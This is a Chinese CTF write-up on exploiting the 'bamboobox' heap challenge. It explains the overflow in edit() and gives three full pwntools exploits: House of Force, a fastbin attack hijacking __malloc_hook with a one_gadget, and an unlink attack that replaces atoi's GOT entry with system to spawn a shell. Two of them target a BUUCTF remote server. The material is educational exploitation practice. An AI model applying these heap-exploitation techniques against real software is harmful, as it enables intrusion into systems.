hitcontraining-bamboobox

检查防护措施

1

本地调试

2

7

堆菜单布局,且程序创建了一个chunk记为note ,fd指针存放hellomessage bk指针存放的时goodbyemessage

IDA静态分析

add()

3

正常的add功能,输入size和name

edit()

4

编辑的时候会给一次重新输入size的机会,可以比创建时的size大,造成堆溢出

free()

5

释放chunk,指针置0,不存在uaf

show()

6

打印chunk内存放的内容

大致思路

我们发现程序开始时会调用hellomessage这个函数,程序退出的时候choice 5 时会调用 note的bk位置指向的函数,如果我们把这个位置修改成magic函数的地址,那么choice 5时就读出了flag

方法1:House Of Force

一个堆 漏洞想要通过 House Of Force 方法进行利用,需要以下条件:

1
2
能够以溢出等方式控制到 top chunk 的 size 域
能够自由地控制堆分配尺寸的大小

但是buu的flag放在根目录下所以这个方法只能打通本地,远程是打不通的

这里有个公式:

1
malloc(size) 中的size=new_top_chunk_addr - old_top_chunk_addr - 0x10

放出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

io = process('./bamboobox1')
#io= remote("node4.buuoj.cn",28925)
elf =ELF('./bamboobox1')

libc = ELF('libc-2.23_64.so')

def add(size,name):
io.recvuntil(b'Your choice:')
io.sendline(str(2))
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size))
io.recvuntil(b'Please enter the name of item:')
io.sendline(name)


def edit(index,size,name):
io.recvuntil(b'Your choice:')
io.sendline(str(3))
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index))
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size))
io.recvuntil(b'Please enter the new name of the item:')
io.sendline(name)

def show():
io.recvuntil(b'Your choice:')
io.sendline(str(1))

def free(index):
io.recvuntil(b'Your choice:')
io.sendline(str(4))
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index))
def exit():
io.recvuntil("Your choice:")
io.sendline(str(5))

magic_addr=0x400d49
add(0x60,b"aaaa")


offest = 0xf9d000 - 0xf9d090 -0x10
print(hex(offest))
edit(0,0x70,"a"*0x60 + p64(0) + p64(0xffffffffffffffff))
#gdb.attach(io)
add(offest,b"aaaa")
add(0x20,p64(magic_addr) * 2)


exit()
io.interactive()

方法2:fastbin attack

这个方法也是比较常规的覆盖size构造堆重叠,泄露libc,house of spirit打__malloc_hook,和之前的roarctf_2019_easy_pwn这篇文章一样,这里也需要realloc调整栈帧

这里不再赘述,直接贴exp:

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

#io = process('./bamboobox')
io= remote("node4.buuoj.cn",26762)
elf =ELF('./bamboobox')

libc = ELF('libc-2.23_64.so')
def add(size,name):
io.recvuntil(b'Your choice:')
io.sendline(str(2))
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size))
io.recvuntil(b'Please enter the name of item:')
io.send(name)


def edit(index,size,name):
io.recvuntil(b'Your choice:')
io.sendline(str(3))
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index))
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size))
io.recvuntil(b'Please enter the new name of the item:')
io.send(name)

def show():
io.recvuntil(b'Your choice:')
io.sendline(str(1))

def free(index):
io.recvuntil(b'Your choice:')
io.sendline(str(4))
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index))
def exit():
io.recvuntil("Your choice:")
io.sendline(str(5))



add(0x20,'a'*8) #0
add(0x20,'a'*8) #1
add(0x60,'a'*8) #2
add(0x20,'a'*8) #3

edit(0,0x30,b'a'*(0x20) + p64(0) + p64(0xa1))
#gdb.attach(io)
free(1)
add(0x20,'a'*8)

show()
libc_base=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78

print ("libc_base:"+hex(libc_base))

add(0x60,'b'*8)
free(4)
edit(2,0x10,p64(libc_base+0x3c4aed)*2)
add(0x60,'b'*8) #4
add(0x60,'b'*8) #5

one_gadgets=[0x45216,0x4526a,0xf1147,0xf02a4]
realloc_hook=libc.symbols['realloc']
edit(5,27,p8(0)*3+p64(0)+p64(libc_base+one_gadgets[2])+p64(libc_base+realloc_hook+20))

io.sendlineafter('choice:','2')
io.sendlineafter('name:',str(0x10))


io.interactive()

要实现unlink攻击,一般来说要有存放全局指针的数组,这里的itemlist就符合预期

8

itemlist[0]存放size,itemlist[1]存放chunk地址

先伪造一个chunk,记为fake_chunk,然后我们预期释放一个chunk去合并这个fake_chunk fake_chunk的prev_siez置0就行,size我们给0x30 ,fd和bk如何取值呢?

s

9

如过把0x6020c0-0x8的位置当成third_chunk,0x6020c0-0x10的位置当成first_chunk那么是符合预期的

1
payload1 = p64(0)+p64(0x30)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+b'a'*(0x10)+p64(0x30)+p64(0xa0)

那么我们现在free chunk1就触发了unlink 实现third_chunk_fd = first_chunk_prevsize

10

那么现在我们再去edit(0)就可以控制itemlist里面的值

我们可以利用atoi_got泄露泄露libc然后将system的地址写进atoi_got这样在程序调用atoi函数的时候其实调用了system函数

我们如果传入’/bin/sh’就拿到了shell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
context(os='linux', arch='amd64', log_level='debug')

#io = process('./bamboobox')
io= remote("node4.buuoj.cn",29126)
elf =ELF('./bamboobox')

libc = ELF('libc-2.23_64.so')
def add(size,name):
io.recvuntil(b'Your choice:')
io.sendline(str(2))
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size))
io.recvuntil(b'Please enter the name of item:')
io.send(name)


def edit(index,size,name):
io.recvuntil(b'Your choice:')
io.sendline(str(3))
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index))
io.recvuntil(b'Please enter the length of item name:')
io.sendline(str(size))
io.recvuntil(b'Please enter the new name of the item:')
io.send(name)

def show():
io.recvuntil(b'Your choice:')
io.sendline(str(1))

def free(index):
io.recvuntil(b'Your choice:')
io.sendline(str(4))
io.recvuntil(b'Please enter the index of item:')
io.sendline(str(index))
def exit():
io.recvuntil("Your choice:")
io.sendline(str(5))



add(0x30,'a'*8) #0
add(0x90,'a'*8) #1
add(0x40,'a'*8) #2

target = 0x6020c0
fake_chunk_fd = target -0x10
fake_chunk_bk = target -0x8


payload = p64(0)+p64(0x30)+p64(fake_chunk_fd)+p64(fake_chunk_bk)+b'a'*(0x10)+p64(0x30)+p64(0xa0)
edit(0,len(payload),payload)

free(1)


payload2 = p64(0)*2+p64(0x30)+p64(elf.got['atoi'])
edit(0,len(payload2),payload2)
show()
atoi_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,"\x00"))
libc_base = atoi_addr - libc.sym['atoi']
system = libc_base + libc.sym['system']
#gdb.attach(io)
edit(0,8,p64(system))

io.sendlineafter('choice:','/bin/sh\x00')



io.interactive()

11